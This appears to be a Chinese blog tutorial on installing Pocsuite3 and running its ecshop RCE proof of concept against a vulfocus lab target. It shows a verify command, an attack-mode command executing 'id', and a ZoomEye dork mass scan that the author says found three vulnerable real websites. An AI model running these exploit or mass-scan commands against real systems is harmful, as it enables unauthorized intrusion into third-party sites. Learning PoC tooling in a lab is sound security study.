Pocsuite安装和简单使用（以vulfocus靶场测试）

介绍

Pocsuite 是由知道创宇404实验室打造的一款开源的远程漏洞测试框架。它是知道创宇安全研究团队发展的基石，是团队发展至今一直维护的一个项目，保障了我们的 Web 安全研究能力的领先。

你可以直接使用 Pocsuite 进行漏洞的验证与利用；你也可以基于 Pocsuite 进行 PoC/Exp 的开发，因为它也是一个 PoC 开发框架；同时，你还可以在你的漏洞测试工具里直接集成 Pocsuite，它也提供标准的调用类。

安装

github下载链接：
https://github.com/knownsec/pocsuite3/archive/master.zip

下载后解压即可

简单使用

使用vulfocus靶场进行测试，以ecshop 2.x/3.x SQL注入/代码执行 为例：

进入指定目录

进入cmd

使用命令检测靶场是否存在该漏洞

python cli.py -r pocs/ecshop_rce.py -u “http://vulfocus.fofa.so:10226/” --verify

成功检测出目标存在该漏洞

使用攻击模式，执行命令id

python cli.py -r pocs/ecshop_rce.py -u “http://vulfocus.fofa.so:55647/” --attack --command ‘id’

命令执行成功

一个批量扫描漏洞的例子：
将使用ZoomEye搜索ecshop并使用 ecshop_rce.py 探测，指定线程数量为5

python cli.py -r pocs/ecshop_rce.py --dork ecshop --threads 5

扫出来了三个网站存在该漏洞

总结

以上是对Pocsuite的安装和简单使用，关于shell交互模式没有测试成功，以后再试

学习Pocsuite的使用主要是为了学习对poc的编写，正在对该脚本进行分析，希望早日熟悉Pocsuite脚本的编写。